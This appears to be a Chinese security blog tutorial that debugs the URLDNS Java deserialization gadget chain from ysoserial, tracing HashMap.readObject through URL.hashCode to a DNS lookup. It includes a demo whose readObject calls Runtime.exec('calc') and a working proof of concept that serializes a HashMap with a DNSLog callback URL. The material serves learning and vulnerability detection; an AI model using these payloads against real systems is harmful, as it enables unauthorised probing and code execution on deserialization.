Java反序列化：URLDNS的反序列化调试分析

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Java反序列化：URLDNS的反序列化调试分析

蚁景科技 2023-07-13 11:24:24 124270

所属地湖南省

本文由蚁景科技创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载

URLDNS链子是Java反序列化分析的第0课，网上也有很多优质的分析文章。

笔者作为Java安全初学者，也从0到1调试了一遍，现在给出调试笔记。

一. Java反序列化前置知识

Java原生链序列化：利用Java.io.ObjectInputStream对象输出流的writerObject方法实现Serializable接口，将对象转化成字节序列。

Java原生链反序列化：利用Java.io.ObjectOutputStream对象输入流的readObject方法实现将字节序列转化成对象。

测试源码如下，此部分源码参考了ol4three师傅的博客：

package serialize;

import java.io.*;

public class deserTest implements Serializable {
  private int n;
  public deserTest(int n) {
      this.n=n;
  }

  @Override
  public String toString() {
      return "deserTest2 [n=" + n + ", getClass()=" + getClass() + ", hashCode()=" + hashCode() + ", toString()="
              + super.toString() + "]";
  }

  // 反序列化
  private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
      in.defaultReadObject();                 
      Runtime.getRuntime().exec("calc");          
      System.out.println("test");
  }

  public static void main(String[] args) {
      deserTest x = new deserTest(5);
      operation1.ser(x);
      operation1.deser();
      x.toString();
  }
}


// 实现序列化和反序列化具体细节的类
class operation1{

  // 将输出字节流写入文件中进行封存
  public static void ser(Object obj) {
      // 序列化操作，写操作
      try {
           // 首先文件落地object.obj存储输出流，绑定输出流           
          ObjectOutputStream ooStream = new ObjectOutputStream(new FileOutputStream("object.obj"));

          // 重定向将输出流字节写入文件
          ooStream.writeObject(obj);
          
          ooStream.flush();
          ooStream.close();

      } catch (FileNotFoundException e) {
          e.printStackTrace();
      }catch (IOException e) {
          // TODO: handle exception
          e.printStackTrace();
      }
  }
  
  
  public static void deser() {
      // 反序列化，读取操作
      try {
          // 绑定输入流
          ObjectInputStream iiStream = new ObjectInputStream(new FileInputStream("object.obj"));
          
          // 反序列化时需要从相关的文件容器中读取输出的字节流
          // 读取字节流操作为readObject,所以重写readObject可以执行自定义代码
          Object xObject = iiStream.readObject();
          iiStream.close();
      } catch (IOException e) {
          // TODO: handle exception
          e.printStackTrace();
      } catch (ClassNotFoundException e) {
          // TODO Auto-generated catch block
          e.printStackTrace();
      }
  }
}

二. ysoserial环境搭建

IDE就直接用JetBrains的IDEA就行

直接拿Java安全payload集成化工具ysoserial进行分析，这里面已经有现成的环境了

https://github.com/frohoff/ysoserial

注意配置好相应的JDK和SDK版本：

三. URLDNS攻击链

影响的版本问题：与JDK版本无关，其攻击链实现依赖于Java内置类，与第三方库无关
URLDNS这条反序列化链只能发起DNS请求，无法进行其他利用，可以作为验证是否有反序列化漏洞的姿势

调试分析

Gadget Chain：
Deserializer.deserialize() -> HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() ->URL.hashCode() ->
getHostAddress()
在getHostAddress函数中进行域名解析，从而可以被DNSLog平台捕获

URLDNS程序入口

在ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java路径下有URLDNS.java文件

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main主函数的run函数打断点进入

这个ysoserial-master的payload运行结构大致是有一个专门的PayloadRunner运行程序，然后统一调用来运行各部分的payload

首先是进行序列化：

继续往下，生成command，由于是分析URLDNS攻击链，所以只需要修改将返回值为dnslog的临时地址

创建实例后，进入到URLDNS的getObject的payload函数

getObject函数中应该注意的是：声明了HashMap对象和URL对象，并进行put哈希绑定，最后设置作用域

反序列化链子：

在反序列化入口处打断点：

在反序列化时调用了readObject函数

然后进入HashMap.java的readObject函数

在readObject中调试到此行，了putval，在此处IDEA这个IDE可以选择进入的函数，直接进入后者hash

由于我们读入字节序列，需要将其恢复成相应的对象结构，那么就需要重新putval

传入的key不为空，执行key.hashCode

进一步在URL.java文件下

进入URLStreamHandler的hashCode

产生解析：

总的来说，利用链思路如下：
在反序列化URLDNS对象时，也需要反序列化HashMap对象，从而调用了HashMap.readObject()的重写函数，重写函数中调用了哈希表putval等的相关重构函数，在hashcode下调用了getHostAddress函数

那么反之，为什么首次声明的时候没有调用到了getHostAddress函数，现在给出声明时的函数路线：
ht.put() --> .. --> SilentURLStreamHandler.getHostAddress()
该函数为空实现

列出几个路线上的关键函数看看：

由于此处key为String类型，则进入String.hashCode

相比之下，在反序列化中key为URL类型

设置了不发起dns解析

具体执行流，可以看下时序图，我就不讲了^^

四. URLDNS链的使用

import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class Main{


  // 序列化前不发生dns解析
  static class SilentURLStreamHandler extends URLStreamHandler{
      protected URLConnection openConnection(URL n) throws IOException{
          return null;
      }

      protected synchronized InetAddress getHostAddress(URL n)
      {
          return null;
      }
  }

  public static void main(String[] args) throws Exception{

      HashMap hashMap = new HashMap();

      // 设置put时不发起dns解析
      URLStreamHandler handler = new Main.SilentURLStreamHandler();
      URL url = new URL(null, "http://jloqk8.dnslog.cn", handler);


      // 利用Java反射机制在动态执行时获取类
      Class clazz = Class.forName("java.net.URL");
      Field f = clazz.getDeclaredField("hashCode");
      f.setAccessible(true);

      hashMap.put(url, "123");
      f.set(url, -1);

      // 对象输出流绑定文件输出流
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
      oos.writeObject(hashMap);   // 序列化

      // 对象输入流绑定文件输入流
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
      ois.readObject();           // 反序列化

  }

}